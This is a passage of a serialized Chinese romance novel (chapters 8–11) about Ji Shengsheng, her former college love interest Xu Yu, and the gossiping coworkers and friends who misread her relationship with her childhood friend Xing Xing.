“他就是一个想要插足别人感情但爱而不得只能每天摆个臭脸的三孙子!”成玉一肚子的火气可算全发出去了。
8. 8
说完,成玉环视四周,确定没有别人听见,心也放了下去。
“如果你还没想通的话。”成玉给出一个办法,“一会儿纪声声会来,你自己看看她和许余是怎么回事。”
说完,成玉指了指桌上的合同:“反正我们法务还要审核,你在这里等着也是等着。”
另一边,纪声声还没来得及回答昨晚邢星的问题,邢星已经先一步发现了沙发上许余的外套。
“这谁的衣服?”
纪声声:“?”
……如果她没记错,这件外套是昨天她帮许余脱下的那件。
她明明记得她把邢星放在这个位置的那件外套给收起来了?
怎么会许余的外套又放在这里了。
“同事的。”纪声声不想多说,从邢星手里拿过许余的外套,放在沙发另一边的角落。
邢星一脸若有所思。
纪声声看了一眼手表,回归正题:“昨天你问我的问题,我觉得作为异性朋友,在对方恋爱以后,是应该保持合适的距离,至少不给朋友的恋爱关系造成烦恼。”
“所以我双手赞成你预备役女友的观点,并且从现在开始就准备身体力行地支持。”
“你不对劲,”邢星又重复了一遍,“你不对劲。”
“哪有?”纪声声不明白。
“你太开心了,你语气里藏不住的开心,”邢星一脸沉思的样子,“好像终于甩掉了一个包袱。”
纪声声:“……你进步了。”
这都被听出来了。
她还记得大学期间,尽管她和邢星除了偶尔在食堂吃饭,其他时候都很少同时出现,但那时也会有合唱队的队员调侃邢星和她关系不一般。
确实不一般。他们像是亲人一样,比一般朋友关系都要好。
那时她正在追求许余,面对这些玩笑,她也是礼貌地解释和回应。虽说没有造成什么困扰,但如果没人误会那当然是最好。
“看出来了,你是真挺想跟我划清界限。”邢星长叹一口气,“那我明天是不是不用陪你‘出差’了。”
纪声声点头:“当然。你的票我昨天就已经退掉了。”
邢星咬牙切齿:“……行!”
“不过。”
正在纪声声以为可以送走这位难缠的小鬼时,邢星突然转过身:“那件衣服是许余的吧?”
纪声声:“?”
“纪声声,你要是和许余和好,别怪我看不起你。”邢星给纪声声下最后通牒,“你看不上我,至少也不能选个不如我的。”
纪声声不解地:“……我倒没觉得许余哪里不如你?”
“你的意思是,如果他主动找你,你还能跟他和好是吧?”邢星气得直跺脚。
“你去顾好你自己的事情,”纪声声打开大门,欢迎邢星离开,“我自己的事情我心里有数。”
……
陈木看见纪声声的时候,她正抱着一个小箱子走进会议室,然后沿着桌子发放饮料。
看起来是自己做的。
发完饮料以后,他又看见纪声声从桌角的小盒子里拿出一些小物件放到其中一个工位的抽屉里。
“你觉得她是中央空调,”成玉路过陈木身边,顺着他的目光投射过去,“她很有能量,对每个人都很体面。昨天自己做了果汁奶茶给大家,今天就记住了口味,给每个人专门做了。”
“那些小玩意是给昨天生病的同事的。”
“你可能想这人好装啊,这么会讨好别人。但是她可能单纯就是对大家都好而已。”
话音刚落,他们就看见纪声声朝着他们的方向走了过来。
陈木有些紧张和别扭。
他曾经比较看好纪声声的时候,和对方关系不错。后来发现了纪声声的秘密,就拉黑好友,视纪声声如空气了。
“好久不见,陈木。”纪声声自然地打过招呼以后,又看向成玉,“昨天我拜托许余帮我带些东西过来,他的外套落在我家了,你能帮我还给许余吗?”
“不太能帮忙,我一会儿要出去。”成玉摇摇头。
“那他的办公桌在哪里?”纪声声左右望了望,“我把衣服放在他桌子上。”
“他没有固定工位,你要不然等他输完液过来,自己还给他?”成玉露出一个温和的笑容。
“也行。”纪声声点点头。
“……你不问问他输液的事情?”成玉好奇地。
“不问啊。”
纪声声不太明白。
她是知道许余发烧生病的。
但是即便她去问成玉,对于许余的病情也不会有什么帮助。今时今日她的身份也不适合去照顾对方。
那就不如不问。
“噢噢,好吧。”成玉看着纪声声手里的玻璃瓶,“这是什么?”
“黄桃罐头。”
大学时,有一次许余生病,她整夜照顾过对方。许余生病时很安静,会有一些粘人,他病了就会想吃冰镇的黄桃罐头。
那时晚上下雪,她跑了几个地方,耽搁了两个多小时才找到一家24小时营业的超市,买到一瓶常温的黄桃罐头。
好在天足够冷,让她能够在路上给黄桃罐头降温。
“噢噢,不是不问他发烧的事情吗?”成玉笑,“刚才听你那么回答,还以为你一点不在意他呢。”
纪声声愣住。
她以为,这不过是她举手之劳。她对每个人都是如此。会记住身边的人的喜好,会在有余力时让身边的人过得开心。
“在意就好,哪怕是朋友的身份。”成玉点到为止。
纪声声无言。下一秒,身后有人从她手腕处拿走了外套。
纪声声转身,看见许余。
“给我的?”
许余看向她怀里的罐头,而纪声声则看向对方的脸。
许余的脸色很苍白,嘴唇也毫无血色,看起来随时快要晕倒。
“……对。”
“过来。”
许余将她怀里的罐头拿走,随后喊她到一旁的会议室。
纪声声跟过去,会议室的门在她身后关上,许余拿出包好的糖葫芦。
“给我的?”
纪声声疑惑。
“嗯。”许余看着她,一瞬不瞬地点头。
“冬天是要吃糖葫芦的。”
这是她之前和许余说过的。
美术学院和理工大学的后门有一条小吃街,每次冬日夜跑,她都要买几根回宿舍。
成玉看向一旁的陈木:“许余现在知道纪声声有对象,你看他主动的样子。据我所知他要输四瓶液,现在也就输了一半就跑回来了。”
“所以……”陈木感觉很无奈。
“所以,你作为朋友,要对抗的不是纪声声,是许余。你要是觉得人品有污点就不能做朋友,
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那你要摒弃的人就是你现在还想要和好的朋友本身。”
“纪声声或许有问题,但许余绝不无辜。”
“你对这件事是怎么想的?”陈木觉得情况无解,转而问成玉。
“我觉得吧,纪声声和那个邢星的关系还有待观察,毕竟都是背后议论,没人看见俩人什么时候亲密接触过。”
成玉才不是什么道德感很强的人,他一直信奉的就是及时行乐:“而且,我这人比较无耻。即便你看见的了解的全是真的,哪天他俩要是结婚了,我还得主动申请去当伴郎呢。”
“我成玉,随时随地、时时刻刻都选择无条件地站在我朋友……”和他嗑的CP,成玉顿了顿,“这边。”
“你还真是助纣为虐。”陈木恨铁不成钢。
“你可以这样说,不过我也有一些事情要提醒你。”成玉收敛起好脾气。
他会说这么多,不过是给陈木一个台阶下罢了。
但显然陈木本人仍然站在道德制高点上,那他也懒得再为对方和许余的关系做出什么努力。
“当时你只是听说纪声声有男朋友,并没有切实的证据。”成玉顿了顿,“一个真正人品好的人,是不是应该先认真求证,再小心传播?”
陈木板起脸,没再说什么。
他当时情绪激动,确实没想那么多。但是在他看来,这毋庸置疑。
如果真是误会,为什么纪声声对于他的冷脸相待没有任何不悦的反应?
见陈木不反驳什么,成玉把盖好章的合同送到陈木手里,而后踱步到自己的办公桌前,拿起纪声声带来的特制饮料。
昨天他表示爱喝柠檬茶,又表示也喜欢那种叠词的果茶名字以后,今天他就收获了一杯“柠柠檬檬茶”。
……怎么会有人想要欺负纪声声这种善良可爱的女孩子?
成玉不懂。
另一边,许余的办公室里,气氛并不平常。
“明天走?”许余先打破沉默。
“对。”纪声声没看对方,只是点头。
“这次准备去哪里?”许余轻轻靠在椅背上,眼睛盯着她,“时差多久。”
纪声声感觉奇怪:“什么时差?”
她本来是打算去云岚山里看望被资助女生的,但是昨天才得知对方已经到云岚城区打工。
云岚城区离潞城虽然距离不近,但是交通十分方便。所以她退掉了机票,打算打车过去。
“不是出国?”许余情绪提起了一些。
纪声声挠头:“……没有啊。”
“不走了?”
“啊。”他们的对话似乎并不同频。
“明天要去云岚,”纪声声思考许余问题的来源,“去三天,在这期间不会影响这段时间的工作的。”
“去云岚么?”许余坐起身,抬手揉了揉太阳穴,“和男朋友?”
“……”纪声声别过脸,“我自己去。”
“我送你。”
办公室的气氛有些诡异的暧昧。
“不用。”纪声声指了指许余的脸色,“而且你还在生病。”
“刚回来时不是还会主动蹭车?”许余的声音很轻,好像在哄她答应似的,“现在怎么知道害怕了。”
“收费吗?”纪声声生硬地打破暧昧的气氛。
“不收。”许余定睛看着她,将气氛重新拉回暧昧,“但我想和你讨点别的。”
9. 9
纪声声去开会的时候,许余接到母亲的电话,看着微信发来的餐厅地址,下楼去开车。
父母离婚是意料之中。母亲出国未告知他也不算意料之外。
父亲出轨不可原谅,至于母亲粗暴地将他从人生中剥离,他也早就接受。
他身边的每个人对他都不吝啬赞美,但又没人真正善待他,他早习惯了。
郑如兰这次回国,提前没有告知他,为何回来他也不清楚。
他本来没有任何意愿发生额外的来往,是郑如兰以有非常重要的事情要沟通为由,他才同意见一次面。
郑如兰早早已经抵达餐厅,许余到餐厅门口时已经看见对方。
岁月似乎没在她脸上留下什么痕迹。出国的这几年,她似乎比以前过得开心。
他们虽然长得相像,但过于貌合神离,实在不像母子。
许余推门进去,随后坐在郑如兰对面。
“我时间紧,两个事和你说。”许久未见,郑如兰也没有寒暄。
许余双手交叉,放在桌子上,只是看着郑如兰,什么也没说。
“首先,第一个事情呢,是你父亲和你杜阿姨要离婚了。原因是你父亲有了新的对象。这次我回来是把之前没切割清楚的东西切割好,但不影响你的那份,不用担心。”
早在他们离婚时,就分割过一次财产,许余知道有自己的那一份,但他不想要,也不感兴趣。
“第二件事情呢,我知道了你的一些事情,想给你一些建议。”郑如兰有些为难。
毕竟她和许余可以算是不太熟了。
“不用了。”许余拒绝。
“哦,这次你不能拒绝。”郑如兰挑眉,“这是我最后一次回来,也是我们最后一次见面。”
“那又怎样?”许余比郑如兰平静。
换句话说,他比郑如兰更不怕失去这段关系。即便要走的人是郑如兰。
“虽然感情不深,但你毕竟是我儿子。”郑如兰想要为难许余,但又不想太过为难,“今天我准备了一些话,如果你听呢,听了就过了,如果你不听呢,那我就去说给那个女孩子听。”
从郑如兰的画外音,许余大概知道她要说什么。
对于郑如兰透露的可能去找纪声声的意思,他并不担心会如何。只是他忽然有些好奇,郑如兰到底想说什么。
见他没说话,郑如兰笑了笑。
“你在做第三者,对吗?”
郑如兰笑得更大声了些:“我被第三者破坏了婚姻时,很怕你会像你父亲一样,继承他恶劣的基因,结婚以后管不住自己。”
“没想到,你去做第三者。许余啊,你说可不可笑?”
“我想告诉你的事情很简单。就如同你父亲一样,当年会因为第三者抛弃家庭,也自然会因为第四者抛弃第三者。”
“移情别恋是会上瘾的,一旦尝到甜头,她就很难再认真地投入到一段感情中了,她只会想尝试更多新鲜的感情。”
“我知道你认定的事情不会改变。但你即便争取到了,也早晚会成为过去式。”
“我丑话放在这里。你不会幸福的。”
郑如兰表情有些狰狞。似乎将对第三者的恨意转移到了许余身上。
许余平静地看向郑如兰。
他的母亲,远洋过海回到他身边,为的只是发泄一些无聊的情绪。
真是……浪费时间。
“说完了?”许余准备起身离开。
“我看出来了,你没有任何触动。”
虽然不爱这个儿子,但许余从小优秀到大,无论学业还是各项特长,都让郑如兰能够享受到养育子女的成就感。
郑如兰从未对许余如此失望。
她只能将这归功于许余父亲的劣质基因。
“所以,你就非要和她继续纠缠?”郑如兰决定最后一次拯救许余,“你就这么喜欢她?”
许余终于笑了。
“你为什么会觉得,”许余停顿几秒钟,“我会和你‘诉衷情’?”
他对纪声声感情如何,他想和纪声声如何发展,他没有义务和谁去表达,也没有必要向任何人报备,更不用征求任何人的同意。
说完,许余起身离开。
如果这是他和郑如兰此生的最后一次见面,是这样的结束,也很不错。
许余回到公司时,纪声声和成玉刚开完会,许余站在办公室的玻璃窗前,看着纪声声拿出箱子里的那些小部件,在给其他人讲解功效和用法。
然后,他想起刚才和纪声声一起在办公室。
在他说出要向纪声声“讨些东西”以后,对方落荒而逃的身影。
这一次,他能确定的事情依然有限。
似乎唯一可以确定的是,她没有之前那么勇敢了。
最近的几次接触,除了第一次见面,她几乎没有一次主动。
许余看着纪声声走神的片刻,成玉不知道什么时候踱步到他身边,用肩膀顶了顶许余的肩膀,成玉贼兮兮地:“上次是谁要彻底断绝关系的?怎么这会儿眼睛都黏在人家身上了?”
“说好的不争不抢,现在你是打算又争又抢了。”
“周一我要出差。”
成玉愣住片刻:“你要和纪声声一起出国?!”
没等许余说话,成玉又做理解状:“也行,毕竟你三年多没怎么休假了。”
说完,成玉再一细想,又忍不住:“你不会一去不回吧?!”
许余:“没事的时候去看看神经科。”
成玉放心不下,还是午休的时候问了纪声声周一的安排,知道许余不是要出国,才终于松了口气。
虽然他曾经确实想过,如果这公司完全是他的就太酷了。但实际上,没有许余的话,他大约弄不太利索公司各项事务的运转。
不出三年,就会倒闭。
……
早上因为邢星耽误了不少时间,纪声声没来得及做午饭,所以临时决定去楼下的便利店吃点东西。
刚等到电梯,许余就从她身后和她同步进门。
“纪声声。”见她不抬头,许余喊她的名字。
“嗯?”纪声声抬头,不明所以。
“想吃什么?”许余按下B1的电梯,自然地好像他们约好了一起去吃饭。
许余的唇色依然苍白,脸色也并不好看。
纪声声忽然想起来,三年前那次,许余忽然很温柔地主动靠近她,也是在生病的时候。
所以,这其实并不意味着许余对她有什么想法。只是生病会让人变得脆弱,让人会想要靠近周边的温暖源。
“准备去吃……”纪声声刚准备如实回答,就听见许余的手机响起,她随意一瞥,看见了屏幕上邵芸的名字。
然后立刻住嘴。
许余没有接电话,只是盯着她,等她的回答。
纪声声不想再说什么。
正好邢星的电话打过来,纪声声快速接起来,以躲避这个尴尬的场面。
“我女朋友想要邀请你一起吃中午饭!我俩在地下车库,你快来。”
“马上。”
说完,纪声声挂掉电话,随后转身看向许余:“我和我朋友去吃饭。”
“朋友么?”许余点头。
他听见了对方说话的声音。
那显然不单纯是“朋友”。
电梯停在B1,许余按住开门键,让纪声声先下。
下去以后,纪声声回头看向许余,忍不住:“你状态感觉不太好。我把前天给你吃过的退烧药也带过来放在小药箱里了,你有需要的话可以……”
“嗯。”许余点头,随后转身离开。
成玉吃完饭回来时,许余正在会议室休息。
他明明记得自己看见许余和纪声声一起坐电梯下楼的。这会儿怎么许余自己先回来了?
“声声呢?”
听见他的声音,许余睁开眼睛,缓缓揉了揉太阳穴:“去看过精神科了?”
成玉狂挠头发:“……我是个人,不是你的撒气包!”
“老实说,我感
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觉这次回来,纪声声对你确实不如以前主动。”成玉很喜欢和许余聊有关纪声声的感情问题,他很喜欢看许余为爱隐痛受伤的样子。
尽管看起来并不明显。
“但这次可以换你主动啊!”成玉一个母胎单身,非常有经验似的,“感情就是,要么你主动,要么她主动才能有,你俩都不主动,就没戏了。”
“我有底线。”
许余说完,成玉愣住半天。
这是许余第一次正面回应他有关对纪声声的感情问题。
“你什么意思?”成玉小心地,“你想说……只有她也有主动的意思,你才会愿意介入她和她男朋友的感情?”
成玉不小心把这个关系说得太过直白,说完自己先扇了自己一巴掌。
许余果然不再理他。
成玉只能小声嘟囔。
“你这底线也太不能作数了吧?”
许余不悦:“谁给你的底气得寸进尺?”
成玉声音放得更低:“当然是你自己啊!”
“纪声声回来第一天,你要还她东西,和她彻底断绝来往;第三天,你衣服落人家家里了。然后你开始有底线,她得主动给你信号才行。是不是再过两天,你就进化到强迫纪声声抛弃现任,和你在一起了?”
“这次我帮纪声声作证,她什么都没做,是你自己主动攻略了你自己。”
见许余不说话,成玉还以为自己这次占到便宜了。
没想到,许余只是轻咳两声,随后放下手机:“我周四回来,这周的全部工作已经做好转接手续。”
成玉:“啊?”
许余继续:“全部转接给你。”
成玉:“?!”
成玉:“不是,你能不能做个人?!”
天知道最近有多少工作。
虽然以前他也经常让许余帮他收拾烂摊子,虽然他确实该还许余一些休息时间,但是事发突然,他实在难堪如此大任啊。
从许余说完就一直忙碌,到了晚上九点多,成玉才终于有时间掏出手机刷刷朋友圈。
才刷了几分钟,他就看见纪声声发了和男朋友的合照。
“刺激,太刺激了。”成玉给纪声声点了赞,又发出评论。
“般配般配,天生一对。”
几分钟以后,纪声声回复他:“有眼光。”
……
晚上到家时,纪声声因为白天发生的事情心里有些乱,难以集中精神去画画,难得早早躺上床去睡觉。
辗转反侧,怎么都睡不着,纪声声又起床把冰箱里仅有的一只鸡煲了汤。
等待的过程中,她打开微信,看到朋友圈有两条消息提醒,点开后,她看到成玉的评论,便打字回复。
邢星的女友年纪比较小,只见过这一次就表示和她很投缘。吃过饭后一定要拍照发朋友圈和她“结盟”。
她许久不发朋友圈,甚至上一条还是本科毕业时发的毕业合照。不过,感受到对方的渴望,纪声声还是同意了。
这是邢星谈的第一段正常的感情,又是母亲介绍,感觉能修成正果,她愿意为这两个人关系的和谐添砖加瓦。
回复完成玉,手机回归平静,纪声声点开和许余的对话框,不知道要说些什么,又关掉。
折腾了许久之后,她终于躺回床上睡着。
她从来没有梦见过那一天。她跟着许余来到他的家中。
有一些冲动,有一些生气,他们忐忑小心地走进许余的房间。
生涩地接吻。不确定要不要继续进行。
她清醒了一次,犹豫。许余清醒了一次,停住。然后,他们一起犯糊涂。
不知道彼此带着什么样的心情,不断地彼此试探,就做到了最后一步。
彼时他们并非恋人关系,也没有承诺彼此未来,甚至后来几年未见也没有任何联系。
纪声声睁开眼睛,是完全地清醒。
她又想起许余说起要和她“讨些什么”的样子。
……许余要和她讨些什么呢?
10. 10
不再想要勉强自己入睡,纪声声起床继续画之前没画完的第二套同人图。
她精力旺盛,对睡眠时长的需求不高。这几年开始接商稿,同人图也是见缝插针地画着。有时候随手摸一张图,画完就丢到微博小号。
前面几天她都是几近凌晨才画完发到微博上。今天时间比较早,才两点钟就连带着收拾好桌子。
左右白天只有下午有外出的的行程,还是接受邢星和肖杨的邀请,和他们一起去野餐,纪声声不着急睡觉。
躺在床上,正准备把手机免打扰,窝着看会儿漫画再睡,不知道怎么的福至心灵点开了朋友圈,第一个就是成玉发的加班图。
时间就在她微博发出摸鱼同人图的几分钟后。
纪声声在照片的边缘看见了许余的手背,上面还有输液造成的淤青。
没来得及多想,她便点开和成玉的聊天框:“……你们还在加班吗?”
成玉几乎是秒回:“对啊对啊,我还在加班,声声你也还没睡吗?”
“还没。”纪声声望了望天花板。
她还记得大学那次许余发烧的情况。
许余平时身体很好,还是学校篮球队的主力后卫,生起病来也是十分吓人。
那时候许余一直在发烧,她跟着他的室友们带着许余去了医院急诊,做了很多项检查,反复查找原因都没找到。
只知道高烧引发了心肌炎,幸好送医及时。
现在发烧还没好,又熬夜……
她回过去,成玉的消息又不停地响了起来。
“今天忙得要命。”
“要上个新项目。”
“许余状态不好……影响我思路,耽误我工作进度。”
“我给你拍一张他的脸,快死了一样的青。”
“【图片】”
纪声声看着照片里许余的侧脸。眉眼低垂,神情专注,表情不太友善,脸色看起来很差。
“他吃药了吗?”犹豫几秒钟,纪声声还是发了出去。
“没有,他连晚饭都没吃。”
成玉发来几个【无奈】的表情包:“劝过了,他根本不吃。”
“感觉他就是想死。”
“但不知道为什么想死。”
成玉刚噼里啪啦打出这几个字,手机就被许余扣在桌子上。
面对许余的目光,成玉多少有些心虚。
毕竟,不是许余授意他联系纪声声,他会知道纪声声还没睡,也不过是因为路过许余身后,看见了许余手机上纪声声的微博界面。
说不上有什么动机,也不能完全算是好心,他不过是想给这俩人之间再添一把火。
或者说,看见许余心被高高吊起还佯装无事发生的样子,很爽。
“说什么了。”许余继续低头去忙。
“就和她说我们加班很忙,她担心你身体,想让你好好吃饭呗。”
“哦。”
“你不信?”成玉不明白。
成玉看得出来,许余完全不相信,甚至一个字都懒得回应他。
“你怎么知道你一定猜得对纪声声的想法?”
许余当然知道,因为纪声声不是这样的人。
她从来不会通过别人转述这种话。
如果可能的话,她会身体力行帮助别人,超出能力范围,她宁可沉默,也不会假装做些无用的关心。
许余很了解她,纪声声也确实是这样想的。
她没有能力也没有立场劝说许余注意身体、认真吃饭,所以她什么也没有回。
靠在椅背上坐成一团,纪声声想起送许余去医院的那天。血液结果出来,有个指标高出正常数值几十倍。
做完心电图以后,医生都吓了一跳,告知晚来可能有猝死风险。
一连输液几天,许余康复以后,她把医生当时的话转述给他。许余并不后怕,也不在意,反而问她有没有被医生吓到。
她好像没办法用言语让许余知道这件事的危险性。
犹豫片刻,纪声声打开叫车软件,预约了半小时后的专车。
她还需要时间收拾一下。也有一些赌的成分,比如,她不知道能否打到车,也不知道许余那时候还在不在加班了。
许余拎着外套推开办公室的门时,高楼玻璃窗外星光聊赖,他竟然觉得有些孤独。
纪声声不在这个城市的时候,他不会这么觉得。
然后,他看见一个人影。
纪声声突然从门外探进头来,一个保温袋高高举到他面前。
许余没有说话。
他总是想把表达的权利让给纪声声,或者说,他想听她一直在他耳边说话,想看她不停表达关注的样子。
纪声声本来打算放下就走的。她不想劝说许余什么,她本来只想做自己能做的事情,不想干涉别人的决定。
但是她和许余就这样在门口遇见了。
“这个是给你的。”纪声声把保温袋塞到许余怀里。
“是什么?”许余盯着纪声声的眼睛,想从她眼神里看到不一样的东西。
可是什么也没有。
她坦荡的好像他们是什么正义盟友,此时正在为了生存而互帮互助。
“鸡汤、蜂蜜水,还有鸡蓉粥。”纪声声认真地解释,“每个人体质不一样的,有人可能发烧以后不太适合补充蛋白质……但是我记得那次发烧以后,你喝了几天鸡汤好得很快,所以做了鸡汤。”
“那鸡蓉粥?”
“鸡蓉粥比较容易消化,还有营养。”
“蜂蜜水?”
“成玉说你没胃口,如果实在吃不下,喝一点蜂蜜水也是可以的。”全部说完,纪声声松了一口气。
“我得回去了。”说完,就准备走了。
以防回去打不到车,她已经提前和专车司机说好,几分钟以后就回来,让司机师傅等一下她。
“我送你。”
“不用了,”纪声声指了指楼下的方向,“我打好车了。”
说完,就快步走出公司门,坐电梯下楼,避免让司机师傅久等。
成玉在后面窥探半天,一直屏住呼吸,大气都不敢喘一下。
然后他看着一天都没有胃口的许余,吃光了纪声声带来的所有食物,在茶水间全部洗好后匆忙地出了门。
“你回家了?”
许余刚准备出发,就收到成玉的消息。
“嗯。”
“能为你做成这样,就算她有男友又怎么,有男友是她仅有的缺点。”成玉的消息再次发来,“完全可以忽视。”
许余没再回复。
他不想探寻成玉做这些事情的初衷,但于他来说,他从来不想折腾纪声声,尤其是已经这么晚了。
许余一路开得很快,几乎是纪声声刚上楼打开卧室的灯,许余已经到楼下了。
他没去打扰,选择把时间留给纪声声自己。
驱车准备离开时,他收到纪声声的消息。
“你有吃吗?”
许余还没有发送出去,纪声声的语音已经打过来:“你在楼下,我看见你了。”
许余等着她继续说下去。
“你有什么事情要找我吗?”纪声声拉开窗帘,趴着窗台上向下看着许余车子的方向。
可能熬夜熬得太久了,她感觉精神有些不济,意识没有白天时候那么清醒,逻辑也不顺畅。想去仔细思考一下现在的情况,又似乎什么都没有想出来。
“把保温袋和饭盒还你。”
“好的,那你放在门口就行。”
几分钟后,纪声声听到门铃响
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起。显然,许余并不只是来还饭盒。
但这一晚上的事情发生得有些混乱,她被情绪驱使冲动去送了食物,现在把许余惹上门,好像有些难以收场。
许余按响门铃,过了很久,才看见纪声声过来开门。
他看得出来,纪声声虽然人还好好地站着,但是整个人已经有些不在状态。
和他正相反,他无比清醒,无比明确地知道自己此时此刻在做什么事情。
“很晚了。”纪声声看了眼手表,回避许余的目光,“其实你放在门口就可以的。”
“怎么会想要去送这些给我?”许余站在门口,和纪声声面对面站着。
“想到是能力范围内的事情就去做了。”纪声声疑惑,“你都吃掉了?”
“嗯。”许余依然盯着她,眼睛眨也不眨。
“还算好吃吗?”
“嗯。”
“‘嗯’是好吃还是不好吃啊。”纪声声不明白。
今天的气氛很诡异,诡异的就像那次他们发生那件事情一样。好像就差她一个主动的拥抱,就会发生同样的事情。
纪声声不知道许余在想什么。
“说话啊……”
“在想什么?”许余终于开口。
“我在想……那你呢,你这么久不说话,你在想什么?”她很难开口告诉许余,她想起那天晚上发生的事情。
“我在想,你和我在我房间里发生的事情。”
纪声声有些窘促:“……那件事有什么可想的。”
“有。”许余向前走了一步,离她几乎是只有一个抬头的距离,“我一直很想知道,你那天是怎么想的。”
“……”她也很想知道许余的想法。而且,她认为她肯定比许余更想知道。
“我当时喜欢你,所以肯定会想更靠近你啊……”纪声声一向诚实,但说话声音还是越来越小了,“现在也没觉得吃亏,其实我是觉得自己是赚了的……”
“自己是什么?”最后几个字几乎吞没在纪声声嘴里,许余追问。
纪声声不想重复那些话,便反而:“那你呢?”
许余沉默。
在那天之前,他从没想过会和纪声声在那个阶段发生什么。即便当时几次停止,他也没有任何想要“得到”纪声声的想法。
事情会发展到那种地步……
“说话啊……”纪声声小声地催促。
“我想你得到你想要得到的。”
而纪声声想要的,他刚好可以给。
“哦……”纪声声的大脑有些难以转动,无法立刻分析出这个回答是什么意思。
“所以,你当时其实是很愿意的。”纪声声简单地总结,“你是不是也觉得自己赚大了。”
许余哑然失笑。
竟然通过这样的对话了解到纪声声之前吞没进嘴里的字眼。
她觉得赚了。许余很开心。
“困了?”许余看着纪声声有些低垂的头。
“困了。”纪声声补充,“还有点累呢。”
纪声声话音刚落,许余就听见她的手机在桌子上疯狂震动。
是微信消息。
震动停止以后,许余无意瞥见纪声声手机屏幕上的消息内容。
【邢星:你大半夜的去城中心的写字楼干嘛?】
纪声声的男朋友。
许余想起那一天。他把盒子还给纪声声的那个晚上。在纪声声家楼下,他看见邢星拎着一串钥匙上了楼。
然后,卧室的灯被打开,卧室的灯又被关上。
一对正常的男女朋友,会发生很多正常的事情。
那个晚上,他脑子里产生许多无端且无礼地推测,但是他难以控制。
那是非常清晰的情绪。
妒忌。
11. 11
纪声声睁开眼睛时,昨晚许余站在门口的画面立刻涌现。
跑到厨房、客厅反复确认,看见空无一物的炖锅、洗好的保温饭盆,纪声声终于确认昨天的事情都是真实发生的。
昨晚,邢星一直在发消息过来,她没来得及回复,邢星就打来语音,表示已经准备开车过来。
纪声声没办法当着许余的面和邢星掰扯这些事情,也不知道怎么体面地结束和许余之间的对话。
是许余先给了她选择。
“有人要来找你?”
“对。”纪声声点头。
“你想让我走,”许余停顿几秒,再次给她机会,“还是让我留下。”
留下……
留下又会发生什么难以控制的事情。当时他们年纪小,还尚且可以说是冲动和不懂事。
如今几年过去,她不可能再主动和许余发生那些。
“很晚了。”纪声声抬头看向许余,“你回去注意安全。”
许余转身出了门,纪声声便立刻接起来邢星的电话,幸好他还没有启动车子。
纪声声快速把给许余送东西的事情简化隐瞒了一些告知邢星,才终于安抚下来对方。
“纪声声,你大半夜在家里好好待着,不要随便乱跑,现在外面变【态很多的你知不知道。”
“知道知道。我作为一个成年人,我能管好自己,……你有这个精力多关照关照父母和女朋友。”纪声声奇怪,“不过,你怎么知道我半夜打车出去了?”
“上次用你手机登录了我的账号你忘记了?”邢星威胁地,“警告你,不许退,以防你出事了我都不知道。”
“嗯嗯嗯嗯。”
糊弄一番过后,纪声声挂掉了电话,随后退出邢星的账号,又检查了一遍手机上所有的应用。
她出国之前,国内的打车软件还没有现在这么发达。
邢星比她先回国,比她先接受回国的生活和节奏。所以她回来以后,邢星自告奋勇地帮她下载了很多常用软件,她自己都不清楚邢星什么时候登上了这个软件的账号。
纪声声在床上翻了两圈,就起来洗漱。下午要和邢星和肖杨一起去野餐。她还有一些时间准备三人份的奶茶和小吃。
“声声姐姐,我带上我弟弟和咱们一起,我弟弟可帅了,到时候介绍给你认识。”
纪声声刚准备进厨房,肖杨就用邢星的手机发来一条语音。
“我正在做吃的准备带过去。”纪声声打字回复。
纪声声把四人份的小零食和饮料打包好装进袋子里,又把多做出来的分成两部分,一部分让跑腿带给成玉,分享给加班的同事,另一部分则留给刚进门正在换鞋的祝晓丹。
“你不开心吗,声声?”接过纪声声递来的泡芙,祝晓丹没有立刻去品尝,而是关心纪声声的心情。
“还好。”她没有感觉不开心。
只是有一点矛盾。
在事情尚在纠结阶段,她很少主动和朋友去分享。每每都是在心中有了决断,或者事情已成定局,她才会告诉朋友。
所以,现阶段,她没办法将和许余发生的事情和内心的矛盾去向朋友倾诉。
“我在想,怎么合情合理地退出邢星的生活主线。”
换位思考,如果许余有个青梅竹马的女孩子,两个人虽然毫无爱情,但是很有默契,日常生活结合得很紧密,她可能也会因此不舒服。
邢星现在和肖杨发展得很顺利,像昨晚那种事情,邢星着急地半夜要过来找她,是很不合适和不应该的。
她不想坐视不管,把一切当成理所当然,也不想等矛盾积压后再去解决,所以决定主动出击。
“这个想法我支持。”祝晓丹认真地帮纪声声理顺,“照理说,他都谈恋爱了,还捆绑得很深的话,很容易让人误会。”
“是的。”纪声声点头,“还很容易挡我桃花。”
祝晓丹被纪声声认真的表情逗得前仰后合。
“那你准备怎么做?”
纪声声把果茶加好冰递给祝晓丹:“像过去一年那样,自然地拉开距离。”
和邢星把事情讲清楚对她来说是最容易的,但对于邢星来说,像过去那一年那样自然地拉开关系是最容易接受的。
过去一年,因为距离和忙碌,他们几乎没怎么联系过。
“但是现在情况不太一样啊,那时候毕竟你在国外,他在国内。”祝晓丹,“而且你们只是没有见面,也不是连信息都不发吧。”
“嗯……”纪声声才发觉有哪里不太一样了。
之前邢星有date的对象时,都是完全消失在她的生活之中的,这次一定是有哪里不同了,才会发生昨天晚上的“追杀”事件。
“声声,手机。”祝晓丹把正在震动的手机递给纪声声。
“声声!谢谢你送来的饮料和零食!”
是成玉。
“我们下午临时决定团建,想邀请你过来一起。”成玉热情地,“你这会儿空闲吗,可以的话,我过去接你。”
纪声声看了眼时间:“不用了,我下午有事情,你们好好玩,以后有机会再聚。”
“好吧。”
成玉按捺住八卦的心思,挂掉了电话。
“她有事?”许余靠在椅背上,侧头看向成玉。
“嗯。没敢问具体是什么事。”成玉抱着手机,“不过,送东西过来的时候,她有说过是顺便做的,给大家分享,那以我对她的了解,这应该不是一句客套……”
“她很大概率是做了很多,要出去吃?或者送人?或者和她男朋友去外面吃?”
成玉不负责任地推测:“市里最好逛的公园,适合野餐的……也就那几个吧?”
想着,成玉给纪声声发去消息:“声声,我们下午打算去市中心公园,你下午忙完路过的话,可以过来找我们。”
过了几分钟,成玉收到纪声声的消息:“我下午也去那边,如果有时间的话,我就过去找你们。”
“Yes!”成玉自顾自和许余击掌,结果被许余避开。
“我猜对了,”成玉得意地,“她刚回国,要是有朋友带她野餐,肯定得去中心公园。如果她真的去,就不会避开我们,她不是偷偷摸摸的性格。”
“如果她不去呢?”许余懒得抬眼皮。
“那我再多试探几次呗。”成玉叹气,“这次要仔仔细细观察她那个男朋友,看看到底比你好在哪里。”
许余不搭理。
